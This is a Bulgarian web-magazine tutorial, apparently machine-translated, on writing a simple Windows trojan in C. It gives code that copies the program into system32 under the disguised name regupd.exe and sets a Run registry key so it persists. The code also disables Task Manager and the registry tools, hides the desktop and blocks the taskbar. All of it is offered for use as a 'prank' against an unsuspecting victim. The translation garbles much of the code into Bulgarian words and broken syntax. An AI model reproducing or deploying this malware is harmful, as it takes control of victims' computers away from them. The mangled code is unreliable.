Писане на прост троянски, VR-онлайн - безплатно електронно списание за всички
Здравейте на всички. Сега ще ви кажа как да се напише троянски. Въпреки че се счита за един троянски зловреден софтуер, и в тази статия ще ви покажа един пример за ясно реалните твърди аплети (дори и комичното, шегата ще бъде много ядосан), въз основа на този материал и въображението ви, можете да направите почти безобидна програма шега.
Преди да започнем, искам да кажа, че поема отговорност за това как и с каква цел ще използвате материала. Въпреки това, аз искам да ви обърна внимание на факта, че в Наказателния кодекс забранява писането и използването на такъв софтуер.
Друг основен недостатък на нашата програма е, че всички нормални антивирусна ще откриват и блокират достъпа си до системата. Но ако говорим за една и съща възраст приятелка, тя едва ли знае какво анти-вирус и какво да правя с него.
По принцип, програмата не е съвършен, и едва ли мога да пиша тези неща, но някой можеше да се охлади полезно. На следващо място, аз ви предлагам програмен код с подробно описание.
Int APIENTRY _tWinMain (HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
Int nCmdShow)
връщане 0;
>
Всичко! Сега ние сме готови да се напише код!
Първо, трябва да се включи windows.h заглавния файл. Тя съдържа описание на всички API - функции, макроси и всички споделени всички типове данни, използвани от различни функции и подсистеми. Също така в windows.h файл свързва windef.h файл, който определя постоянна MAX_PATH (то ние ще използваме по-късно). Стойността на константата зависи от операционната система и FS (File System) на. За WinXP с NTFS, стойността е 260. В допълнение windows.h ни е необходимо нищо повече, за да се свържете, така че преходът към функцията главната (). По принцип, нашата програма ще се състои само от основната функция (), така че хвърлят всички код наведнъж безполезни. Ще обясня всичко на кода на части, както и в края на този раздел ще хвърлят всички код, който трябва да се получи.
Добави в кода си, между шината на отвора ( <) и оператором return следующий код:
овъгляване система [MAX_PATH];
въглен pathtofile [MAX_PATH];
GetModuleFileName (HModule, pathtofile, sizeof (pathtofile));
GetSystemDirectory (система, sizeof (система));
GetModuleHandle функция с параметър на NULL връща дескриптора на файла се използва за създаване на процеса на разговори. функция GetModuleFileName пише на променлива път pathtofile да HModule на файлов дескриптор. Сега ние pathtofile променливи магазините по пътя към нашето файл. Остава ни да се хвърлят файла в папката system32.
Мисля, че по смисъла на следните функции става ясно от заглавието: копира пътя до папката system32 до променлива система. Strcat функция, ние добавяме към променлива система (който съхранява пътя до папката system32) «\\ regupd.exe» низ, той ще бъде на името на нашия пример програмата в папка със системата. Това се прави в случай, че внезапно жертва ще отидат за това място, не биха могли веднага да намерите нашите "вирус". Признайте си, че regupd файл причинява по-малко подозрение, отколкото MyVirus файл.
Събиране на програмата и отидете в папката system32. Там можете да видите нашия новосъздаден файл. Сега ние трябва да реализираме файл при стартиране и да направят нещо гадно. Първият въпрос е решен, както следва:
HKEY HKEY;
RegOpenKeyEx (HKEY_LOCAL_MACHINE, "Софтуер \\ Microsoft \\ Windows \\ \\ CurrentVersion Run", 0, KEY_SET_VALUE, -hKey);
RegSetValueEx (HKEY "Registry Update", 0, REG_SZ, (Конст грозен Чар *) система, sizeof (система));
RegCloseKey (HKEY);
В първия ред на код декларира променлива от тип HKEY. Този тип е описание на ключ в системния регистър. Файлът windef.h този тип се определя като
typedef ДРЪЖКАТА HKEY
RegCloseKey () функция затваря ключ дескриптора.
Това е всичко, с първото на тази задача, сме измислили: ние трябва да представим нашата файл при стартиране. Остава да излезе с някаква шега.
Това, което аз измислих, вие вече знаете. Сега просто ще ви покажем как да го приложат. Първо малко предистория материала:
За да се забрани пускането на Task Manager, изпълнете следните стъпки:
забрана Task Manager, че трябва да се гарантира, че нашият процес не може да убие с диспечера на задачите. Въпреки че може да бъде убит с помощта Списъкът със задачи - Taskkill, не всеки знае за този метод.
Това е кодът, който реализира всички по-горе, и още нещо:
DWORD стойност = 1;
RegOpenKeyEx (HKEY_CURRENT_USER, "Софтуер \\ Microsoft \\ Windows \\ \\ CurrentVersion Политики \\ System", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (HKEY "DisableTaskMgr" NULL, REG_DWORD, (байт *) - стойност, sizeof (DWORD));
RegCloseKey (HKEY);
RegOpenKeyEx (HKEY_CURRENT_USER, "Софтуер \\ Microsoft \\ Windows \\ \\ CurrentVersion Политики \\ System", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (HKEY, "DisableRegistryTools", NULL, REG_DWORD, (байт *) - стойност, sizeof (DWORD));
RegCloseKey (HKEY);
RegOpenKeyEx (HKEY_CURRENT_USER, "Софтуер \\ Microsoft \\ Windows \\ \\ CurrentVersion Политики \\ Explorer", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (HKEY "NoDesktop" NULL, REG_DWORD, (байт *) - стойност, sizeof (DWORD));
RegCloseKey (HKEY);
hTaskBar = FindWindow ( "Shell_TrayWnd" NULL);
EnableWindow (hTaskBar, стойност!);
Всичко е ясно, с изключение на последните 6-струните. Първите три от тези шест чист десктоп.
И тогава ние откриваме дръжката на лентата на задачите и да го направи (лентата на задачите не е налична).
Ето целия код:
#include "stdafx.h"
#include "vir.h"
Int APIENTRY _tWinMain (HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
Int nCmdShow)
овъгляване система [MAX_PATH];
въглен pathtofile [MAX_PATH];
GetModuleFileName (GetHModule, pathtofile, sizeof (pathtofile));
GetSystemDirectory (система, sizeof (система));
RegOpenKeyEx (HKEY_LOCAL_MACHINE, "Софтуер \\ Microsoft \\ Windows \\ \\ CurrentVersion Run", 0, KEY_SET_VALUE, -hKey);
RegSetValueEx (HKEY "Registry Update", 0, REG_SZ, (Конст грозен Чар *) система, sizeof (система));
RegOpenKeyEx (HKEY_CURRENT_USER, "Софтуер \\ Microsoft \\ Windows \\ \\ CurrentVersion Политики \\ System", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (HKEY "DisableTaskMgr" NULL, REG_DWORD, (байт *) - стойност, sizeof (DWORD));
RegCloseKey (HKEY);
RegOpenKeyEx (HKEY_CURRENT_USER, "Софтуер \\ Microsoft \\ Windows \\ \\ CurrentVersion Политики \\ System", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (HKEY, "DisableRegistryTools", NULL, REG_DWORD, (байт *) - стойност, sizeof (DWORD));
RegCloseKey (HKEY);
RegOpenKeyEx (HKEY_CURRENT_USER, "Софтуер \\ Microsoft \\ Windows \\ \\ CurrentVersion Политики \\ Explorer", 0, KEY_ALL_ACCESS, -hKey);
RegSetValueEx (HKEY "NoDesktop" NULL, REG_DWORD, (байт *) - стойност, sizeof (DWORD));
RegCloseKey (HKEY);
hTaskBar = FindWindow ( "Shell_TrayWnd" NULL);
EnableWindow (hTaskBar, стойност!);
Като цяло, троянци - най-простата форма на зловреден софтуер, сложността на които зависи единствено от сложността на истинския проблем и маскиращи агенти. Като маскиране агент ние го нарече RegUpd и регистър е създаден Актуализация опция вписванията, че нашата програма ще предизвика по-малко подозрение. Но по отношение на истинския проблем, а след това всичко се предава на вашата фантазия, можете да си представите, че е това, което ще направи троянците.
Всичко това е урок е приключила. Надявам се, че някой ще дойде по-удобно на този материал. И въпреки, че можете да го използвате във всяка желана цел, то е по-добре да го използвате за безобидна шега.
Написано от: Сергей Дъбовик известен още като SD.
Цитат Ако изведнъж някой иска да го тестваме
Опитайте се да го изпълни на vin7, има много препратки към регистъра, мисля, че това нещо (троянския не смеят да се нарече така) не е нещо, което не е probet Уинду и етап допълнителни антивирусни проверка ще бъдат изложени!
PS - но като цяло това не е троянски кон, тя е с характеристиките на конвенционален червей!